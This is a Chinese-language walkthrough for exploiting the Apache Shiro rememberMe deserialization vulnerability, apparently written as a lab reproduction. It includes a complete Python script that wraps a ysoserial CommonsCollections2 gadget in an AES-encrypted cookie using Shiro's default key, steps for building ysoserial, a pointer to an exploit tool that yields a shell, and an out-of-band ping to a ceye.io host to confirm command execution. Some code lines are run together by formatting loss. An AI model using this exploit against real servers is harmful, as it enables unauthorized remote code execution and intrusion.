shiro反序列化漏洞

开启神奇Burp,抓包,通过返回包的情况来进行分析(敏感信息打码)当返回包看到关键字rememberMe=deleteMe;可能存在shiro反序列化漏洞

3)步入洞点

    当看到关键字rememberMe=deleteMe;,你是否就会想起Shiro反序列化漏洞,那么我们现在用实验室的集成脚本进行测试,是否存在Shiro反序列化漏洞。这里相当于先提供POC测试。

我们通过工具地址:

https://github.com/feihong-cs/ShiroExploit下载工具


使用案例:






成功得到shell



或者、生成payload的脚本

将下面的脚本保存至本地命名为shiro_poc.py,然后进入linux系统/tmp目录下(如想使用其他KEY,替换脚本中的即可)

不要使用vi/vim命令创建文件再粘贴过去,粘贴会破坏代码的布局格式

命令行输入rz回车,就会跳出文件上传的页面(如果报错,pip安装一下),选择文件上传即可

# pip install pycryptoimport sysimport base64import uuidfromrandomimport Randomimport subprocessfromCrypto.Cipherimport AESdef encode_rememberme(command):

    popen = subprocess.Popen(['java','-jar','ysoserial-0.0.5-SNAPSHOT-all.jar','CommonsCollections2', command], stdout=subprocess.PIPE)

    BS  = AES.block_size

    pad =lambdas: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    key  ="kPH+bIxk5D2deZiIxcaaaA=="    mode =  AES.MODE_CBC

    iv  =  uuid.uuid4().bytes

    encryptor = AES.new(base64.b64decode(key), mode, iv)

    file_body = pad(popen.stdout.read())

    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_ciphertextif__name__=='__main__':

    payload = encode_rememberme(sys.argv[1])   

    with open("/tmp/payload.cookie","w") as fpw:

        print("rememberMe={}".format(payload.decode()), file=fpw)

 2、安装模块

脚本使用的是python3,安装模块时要使用pip3 install 模块名

其中有一个模块需要强调,就是安装pycrypto,用来解决报错No module named Crypto.Cipher

pip3 install pycrypto

3、ysoserial的jar文件

依次执行以下命令(jar的文件名要和脚本中的一样,文件要和脚本在同一目录下)

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial

mvn package -DskipTests

cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

0x03 复现过程

在脚本后面输入你想要执行的命令,例:

python3 shiro_poc.py "ping fkl2af.ceye.io"

然后便会在脚本所在目录下生成文件payload.cookie


浏览器打开漏洞环境并登陆进去,点击account page抓包


用payload.cookie中内容替换Cookie中的全部内容,Go


到ceye平台查看即可到流量记录

推荐阅读更多精彩内容